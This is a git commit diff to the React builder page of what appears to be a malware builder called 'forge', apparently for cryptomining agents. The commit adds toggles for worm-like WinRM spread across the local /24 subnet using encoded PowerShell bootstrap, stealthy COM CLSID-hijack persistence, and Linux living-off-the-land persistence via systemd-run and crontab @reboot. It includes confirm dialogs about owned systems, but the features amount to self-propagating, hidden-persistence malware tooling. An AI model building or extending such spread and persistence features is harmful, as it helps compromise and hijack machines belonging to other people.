Add forge spread toggles for WinRM and Linux LOTL
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 00:43:21 -07:00
parent 9ad4cce194
commit 6761d4285c
13 changed files with 204 additions and 3 deletions

View File

@@ -78,7 +78,6 @@ import {
} from '../help/forgeMissionWizard';
import { LOTL_ONION_TIER_DOCS } from '../help/lotlOnionTiers';
import { spreadTechniqueDocUrl } from '../help/spreadTechniques';
import './Pages.css';
import './BuilderPage.css';
function forgePageClass(operationMode: OperationModeId, themeOverride: ReturnType<typeof loadStoredForgeTheme>): string {
@@ -2908,6 +2907,80 @@ export default function BuilderPage() {
</label>
<FieldHint field="share_spread" />
</div>
<div className={`form-group checkbox-group ${fieldMeta.winrm_spread?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.winrm_spread}
disabled={fieldMeta.winrm_spread?.disabled}
onChange={(e) => {
const checked = e.target.checked;
if (checked && !window.confirm(
'Enable WinRM Spread?\n\n' +
'When baked ON, autospread sweeps the local subnet for WinRM-open hosts ' +
'and deploys via encoded PowerShell bootstrap.\n\n' +
'Only enable on networks and systems you explicitly own or administer.'
)) return;
updateField('winrm_spread', checked);
}} />
<span>WinRM Spread — encoded bootstrap on remoting hosts <HelpTip field="winrm_spread" /></span>
</label>
{form.winrm_spread && (
<p className="form-hint" style={{ color: 'var(--color-warn, #f5a623)', marginTop: '0.25rem' }}>
⚠ WinRM Spread is ON — autospread will probe /24 and push to WinRM-enabled hosts.
</p>
)}
<ForgeLockedHint meta={fieldMeta.winrm_spread} />
<FieldHint field="winrm_spread" />
</div>
<div className={`form-group checkbox-group ${fieldMeta.com_hijack_persist?.disabled ? 'field-disabled' : ''}`}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!form.com_hijack_persist}
disabled={fieldMeta.com_hijack_persist?.disabled}
onChange={(e) => {
const checked = e.target.checked;
if (checked && !window.confirm(
'Enable COM Hijack Persistence?\n\n' +
'Registers the agent under an InprocServer32 CLSID hijack for stealthy relaunch. ' +
'This is aggressive, high-friction persistence.\n\n' +
'Default is OFF only enable on systems you fully own.'
)) return;
updateField('com_hijack_persist', checked);
}} />
<span>COM Hijack Persist — CLSID hijack (default off) <HelpTip field="com_hijack_persist" /></span>
</label>
{form.com_hijack_persist && (
<div style={{ margin: '4px 0 2px 24px', padding: '6px 10px', background: 'rgba(255,80,80,0.1)', border: '1px solid rgba(255,80,80,0.45)', borderRadius: 4, fontSize: '0.82em', color: '#ff6b6b' }}>
⚠ COM Hijack is ON — high-friction persistence via registry CLSID hijack. Use only on owned lab hosts.
</div>
)}
<ForgeLockedHint meta={fieldMeta.com_hijack_persist} />
<FieldHint field="com_hijack_persist" />
</div>
{(form.target_os === 'linux' || form.target_os === 'universal') && (
<div className={`form-group ${fieldMeta.linux_lotl_mode?.disabled ? 'field-disabled' : ''}`}>
<label className="label">Linux LOTL Mode <HelpTip field="linux_lotl_mode" /></label>
<select
className="input"
disabled={fieldMeta.linux_lotl_mode?.disabled}
value={form.linux_lotl_mode ?? 'off'}
onChange={(e) => updateField('linux_lotl_mode', e.target.value)}
>
<option value="off">Off — no native-tool persistence</option>
<option value="systemd_run_user">systemd-run --user</option>
<option value="crontab">crontab @reboot</option>
<option value="both">Both — systemd-run + crontab</option>
</select>
{form.linux_lotl_mode && form.linux_lotl_mode !== 'off' && (
<p className="form-hint" style={{ color: 'var(--color-warn, #f5a623)', marginTop: '0.25rem' }}>
⚠ Linux LOTL persistence is {form.linux_lotl_mode.replace(/_/g, ' ')} — baked into Linux/universal workers only.
</p>
)}
<ForgeLockedHint meta={fieldMeta.linux_lotl_mode} />
<FieldHint field="linux_lotl_mode" />
</div>
)}
</div>
</>
)}